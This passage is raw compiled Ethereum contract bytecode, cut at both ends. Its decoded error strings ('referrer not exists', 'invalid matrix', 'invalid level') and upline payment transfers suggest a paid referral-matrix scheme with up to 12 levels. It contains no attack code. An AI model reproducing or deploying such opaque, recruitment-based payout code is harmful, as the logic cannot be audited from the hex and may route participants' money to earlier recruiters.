00000000000000000000000000081525060200191505060405180910390fd5b610b05816111fc565b610b77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f7265666572726572206e6f74206578697374730000000000000000000000000081525060200191505060405180910390fd5b6000823b905060008163ffffffff1614610bf9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f63616e6e6f74206265206120636f6e747261637400000000000000000000000081525060200191505060405180910390fd5b610c01615dab565b604051806060016040528060045481526020018473ffffffffffffffffffffffffffffffffffffffff16815260200160008152509050806000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201559050508360016000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000600160ff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000600160ff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508360026000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004600081548092919060010191905055506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600081548092919060010191905055506000610f4a856001612253565b9050806000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000600160ff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ff085826001612402565b61100685610fff87600161208c565b6001612c61565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f309bb360e8b69c23937ccc5fb01f9aeeead1c95a99604e175113ff82f2b1723a6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546040518082815260200191505060405180910390a45050505050565b600060148201519050919050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008360ff1660ff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60036020528060005260406000206000915090505481565b600c81565b60016020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414159050919050565b6112543382610a04565b50565b6000606060008060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008560ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008660ff1660ff1681526020019081526020016000206001016000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008760ff1660ff16815260200190815260200160002060020160009054906101000a900460ff168180548060200260200160405190810160405280929190818152602001828054801561141e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116113d4575b505050505091509250925092509250925092565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006060806000806000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008760ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008860ff1660ff1681526020019081526020016000206001016000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008960ff1660ff1681526020019081526020016000206002016000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008a60ff1660ff16815260200190815260200160002060030160009054906101000a900460ff166000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008b60ff1660ff16815260200190815260200160002060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838054806020026020016040519081016040528092919081815260200182805480156116f857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116116ae575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561178057602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611736575b50505050509250945094509450945094509295509295909350565b60006020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154905083565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008360ff1660ff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61185e336111fc565b6118b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180615eb06023913960400191505060405180910390fd5b60018260ff1614806118c8575060028260ff16145b61193a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f696e76616c6964206d617472697800000000000000000000000000000000000081525060200191505060405180910390fd5b600660008260ff1660ff1681526020019081526020016000205434146119c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f696e76616c69642070726963650000000000000000000000000000000000000081525060200191505060405180910390fd5b60018160ff161180156119e25750600c60ff168160ff1611155b611a54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f696e76616c6964206c6576656c0000000000000000000000000000000000000081525060200191505060405180910390fd5b60018260ff161415611dc3576000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008260ff1660ff16815260200190815260200160002060009054906101000a900460ff1615611b39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6c6576656c20616c72656164792061637469766174656400000000000000000081525060200191505060405180910390fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160006001830360ff1660ff16815260200190815260200160002060020160009054906101000a900460ff1615611c225760008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160006001840360ff1660ff16815260200190815260200160002060020160006101000a81548160ff0219169083151502179055505b6000611c2e3383612253565b9050806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008460ff1660ff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008460ff1660ff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d46338284612402565b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f18a92df19fd94d6cfff209966673a5ca05a1c8e2bb68e097fce2bdc2ed811119600185604051808360ff1681526020018260ff1660ff1681526020019250505060405180910390a350612088565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008260ff1660ff16815260200190815260200160002060009054906101000a900460ff1615611e9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6c6576656c20616c72656164792061637469766174656400000000000000000081525060200191505060405180910390fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160006001830360ff1660ff16815260200190815260200160002060030160009054906101000a900460ff1615611f855760008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160006001840360ff1660ff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055505b6000611f91338361208c565b905060016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008460ff1660ff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061200f338284612c61565b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f18a92df19fd94d6cfff209966673a5ca05a1c8e2bb68e097fce2bdc2ed811119600285604051808360ff1681526020018260ff1660ff1681526020019250505060405180910390a3505b5050565b60005b600115612234576000808060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008360ff1660ff16815260200190815260200160002060009054906101000a900460ff16156121cb576000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050612235565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925061208f565b5b92915050565b60066020528060005260406000206000915090505481565b60005b6001156123fb576000808060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008360ff1660ff16815260200190815260200160002060009054906101000a900460ff1615612392576000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506123fc565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250612256565b5b92915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008260ff1660ff1681526020019081526020016000206001018390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060036000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008360ff1660ff16815260200190815260200160002060010180549050101561261d578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826001846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008760ff1660ff16815260200190815260200160002060010180549050604051808460ff1681526020018360ff1660ff1681526020018260ff1660ff168152602001935050505060405180910390a3612618828460018461431c565b612c5c565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826001846003604051808460ff1681526020018360ff1660ff1681526020018260ff168152602001935050505060405180910390a360006040519080825280602002602001820160405280156126d05781602001602082028038833980820191505090505b506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008360ff1660ff168152602001908152602001600020600101908051906020019061273f929190615de2565b506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006001830160ff1660ff16815260200190815260200160002060009054906101000a900460ff161580156127bd5750600c60ff168160ff1614155b156128375760016000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008360ff1660ff16815260200190815260200160002060020160006101000a81548160ff0219169083151502179055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612aed5760006128988383612253565b90508073ffffffffffffffffffffffffffffffffffffffff166000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008460ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146129e357806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008460ff1660ff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008360ff1660ff168152602001908152602001600020600301600081548092919060010191905055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fa00c953eff38ec1b71e7fe060b2ab8df0bbe5354319fbdde4fbdafd6324386a6600186604051808360ff1681526020018260ff1660ff1681526020019250505060405180910390a4612ae7838284612402565b50612c5b565b612b1c600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460018461431c565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008260ff1660ff168152602001908152602001600020600301600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa00c953eff38ec1b71e7fe060b2ab8df0bbe5354319fbdde4fbdafd6324386a6600185604051808360ff1681526020018260ff1660ff1681526020019250505060405180910390a45b5b505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008260ff1660ff16815260200190815260200160002060009054906101000a900460ff16612d39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f3530302e205265666572726572206c6576656c20697320696e6163746976650081525060200191505060405180910390fd5b60026000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff1681526020019081526020016000206001018054905010156139a4576000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008260ff1660ff1681526020019081526020016000206001018390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008760ff1660ff16815260200190815260200160002060010180549050604051808460ff1681526020018360ff1660ff1681526020018260ff1660ff168152602001935050505060405180910390a3816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156130445761303f828460028461431c565b614317565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff1681526020019081526020016000206002018490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff1681526020019081526020016000206001018054905090506002811480156132b257508373ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff16815260200190815260200160002060010160008154811061326f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561337a57508373ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff16815260200190815260200160002060010160018154811061333757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156134f75760016000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff16815260200190815260200160002060010180549050141561346e578173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002866005604051808460ff1681526020018360ff1660ff1681526020018260ff168152602001935050505060405180910390a36134f2565b8173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002866006604051808460ff1681526020018360ff1660ff1681526020018260ff168152602001935050505060405180910390a35b613992565b60018114806135065750600281145b80156135ce57508373ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff16815260200190815260200160002060010160008154811061358b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561374b5760016000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff1681526020019081526020016000206001018054905014156136c2578173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002866003604051808460ff1681526020018360ff1660ff1681526020018260ff168152602001935050505060405180910390a3613746565b8173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002866004604051808460ff1681526020018360ff1660ff1681526020018260ff168152602001935050505060405180910390a35b613991565b60028114801561381757508373ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff1681526020019081526020016000206001016001815481106137d457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156139905760016000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff16815260200190815260200160002060010180549050141561390b578173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002866005604051808460ff1681526020018360ff1660ff1681526020018260ff168152602001935050505060405180910390a361398f565b8173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002866006604051808460ff1681526020018360ff1660ff1681526020018260ff168152602001935050505060405180910390a35b5b5b5b61399d858385614458565b5050614317565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008260ff1660ff1681526020019081526020016000206002018390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600073ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff16815260200190815260200160002060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613f42576000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008260ff1660ff168152602001908152602001600020600101600181548110613b7957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff168152602001908152602001600020600101600081548110613c2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015613da657506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008260ff1660ff16815260200190815260200160002060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff168152602001908152602001600020600101600081548110613d6357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15613dc857613db88383836001614e78565b613dc3838383614458565b614317565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008260ff1660ff16815260200190815260200160002060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff168152602001908152602001600020600101600081548110613ec157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613f2557613f158383836001614e78565b613f20838383614458565b614317565b613f328383836000614e78565b613f3d838383614458565b614317565b8273ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff168152602001908152602001600020600101600181548110613fc057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415614024576140148383836000614e78565b61401f838383614458565b614317565b8273ffffffffffffffffffffffffffffffffffffffff166000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff1681526020019081526020016000206001016000815481106140a257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415614106576140f68383836001614e78565b614101838383614458565b614317565b6000808060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff16815260200190815260200160002060010160018154811061417057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008260ff1660ff168152602001908152602001600020600101805490506000808060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff16815260200190815260200160002060010160008154811061426057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff16815260200190815260200160002060010180549050116142fd576142f88383836000614e78565b61430b565b61430a8383836001614e78565b5b614316838383614458565b5b505050565b60008061432b86868686615a77565b915091508173ffffffffffffffffffffffffffffffffffffffff166108fc600660008660ff1660ff168152602001908152602001600020549081150290604051600060405180830381858888f193505050506143cf578173ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156143c7573d6000803e3d6000fd5b505050614452565b801561444f578173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167ff0ddc65c0d411f042f723dcfa1b7d13e85a35b7b70761d447c6500411cacf3288686604051808360ff1660ff1681526020018260ff1660ff1681526020019250505060405180910390a35b50505b50505050565b60046000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff1681526020019081526020016000206002018054905010156144d1576144cc828460028461431c565b614e73565b60606000808060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff16815260200190815260200160002060010180548060200260200160405190810160405280929190818152602001828054801561462957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116145df575b50505050509050600281511415614951578273ffffffffffffffffffffffffffffffffffffffff168160008151811061465e57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614806146c757508273ffffffffffffffffffffffffffffffffffffffff16816001815181106146a757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16145b156147e657826000808060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008660ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff16815260200190815260200160002060050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550614950565b60018151141561494f578273ffffffffffffffffffffffffffffffffffffffff168160008151811061481457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141561494e57826000808060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008660ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff16815260200190815260200160002060050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5b60006040519080825280602002602001820160405280156149815781602001602082028038833980820191505090505b506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff16815260200190815260200160002060010190805190602001906149f0929190615de2565b506000604051908082528060200260200182016040528015614a215781602001602082028038833980820191505090505b506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff1681526020019081526020016000206002019080519060200190614a90929190615de2565b5060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff16815260200190815260200160002060050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006001840160ff1660ff16815260200190815260200160002060009054906101000a900460ff16158015614ba95750600c60ff168260ff1614155b15614c235760016000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055505b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff